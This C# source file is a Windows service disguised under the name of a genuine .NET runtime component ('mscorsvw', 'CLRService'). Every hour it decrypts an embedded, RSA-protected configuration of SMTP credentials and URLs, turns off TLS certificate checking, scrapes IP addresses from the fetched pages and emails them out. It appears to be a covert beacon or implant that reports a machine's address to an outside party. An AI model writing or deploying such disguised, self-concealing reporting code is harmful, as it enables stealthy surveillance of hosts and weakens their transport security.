using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Configuration;
using System.Data;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Net;
using System.Net.Mail;
using System.Net.Security;
using System.Security.Cryptography.X509Certificates;
using System.ServiceProcess;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Security.Cryptography;

namespace mscorsvw
{
    public partial class CLRService : ServiceBase
    {
        private Timer timer;

        public CLRService()
        {
            InitializeComponent();
        }

        protected override void OnStart(string[] args)
        {
            // TODO: Add code here to start your service.
            timer = new Timer(GenNs, null, 60000, 3600000);
        }

        protected override void OnStop()
        {
            // TODO: Add code here to perform any tear-down necessary to stop your service.
            timer.Dispose();
        }

        private static void GenNs(object value)
        {
            SendMail();
        }

        public static void SendMail()
        {
            try
            {
                MemoryStream memoryStream = new MemoryStream(Resource.al);
                memoryStream.Position = 0;
                GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress);
                byte[] file = new byte[2000];
                int len = gZipStream.Read(file, 0, 2000);
                gZipStream.Close();
                memoryStream.Close();

                RSACryptoServiceProvider rsaCryptoServiceProvider = new RSACryptoServiceProvider();
                rsaCryptoServiceProvider.FromXmlString(Encoding.ASCII.GetString(file, 0, len));

                ServicePointManager.ServerCertificateValidationCallback =
                    new RemoteCertificateValidationCallback(TrustAllCertificateValidationCallback);
                byte[] gt = rsaCryptoServiceProvider.Decrypt(Convert.FromBase64String(Resource.gt), true);
                string pp = Encoding.ASCII.GetString(gt);
                string[] pps = pp.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
                SmtpClient smtpClient = new SmtpClient(pps[0]);
                smtpClient.Credentials = new NetworkCredential(pps[2], pps[3]);
                smtpClient.Port = Convert.ToInt32(pps[1]);
                smtpClient.EnableSsl = true;

                MailMessage mailMessage = new MailMessage(new MailAddress(pps[2], pps[4]),
                                                          new MailAddress(pps[5], pps[6]));
                mailMessage.Subject = string.Format("IP report");
                StringBuilder stringBuilder = new StringBuilder();
                stringBuilder.AppendFormat("Date: {0}\r\n", DateTime.Now);

                Regex regex = new Regex(@"(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})");

                for (int i = 7; i < pps.Length; i++)
                {
                    string content = GetPages(pps[i]);
                    Match match = regex.Match(content);
                    while (match.Success)
                    {
                        stringBuilder.AppendFormat("IP: {0}\r\n", match.Value);
                        match = match.NextMatch();
                    }
                }

                mailMessage.Body = stringBuilder.ToString();
                smtpClient.DeliveryMethod = SmtpDeliveryMethod.Network;
                smtpClient.Send(mailMessage);
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
            }
        }

        private static string GetPages(string u)
        {
            HttpWebRequest webRequest = null;
            HttpWebResponse webResponse = null;
            try
            {
                webRequest = (HttpWebRequest)WebRequest.Create(u);
                webResponse = (HttpWebResponse)webRequest.GetResponse();
                if (webResponse.ContentLength > 0)
                {
                    int len = (int)webResponse.ContentLength;
                    byte[] data = new byte[len];
                    Stream stream = webResponse.GetResponseStream();
                    while (len > 0)
                    {
                        len -= stream.Read(data, data.Length - len, len);
                    }
                    stream.Close();
                    webResponse.Close();
                    return Encoding.ASCII.GetString(data);
                }
                else
                {
                    StreamReader streamReader = new StreamReader(webResponse.GetResponseStream());
                    string result = streamReader.ReadToEnd();
                    streamReader.Close();
                    webResponse.Close();
                    return result;
                }
            }
            catch (Exception e)
            {
                return string.Empty;
            }
            finally
            {
                if (webResponse != null)
                {
                    webResponse.Close();
                }
            }
        }

        private static bool TrustAllCertificateValidationCallback(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslpolicyerrors)
        {
            return true;
        }
    }
}
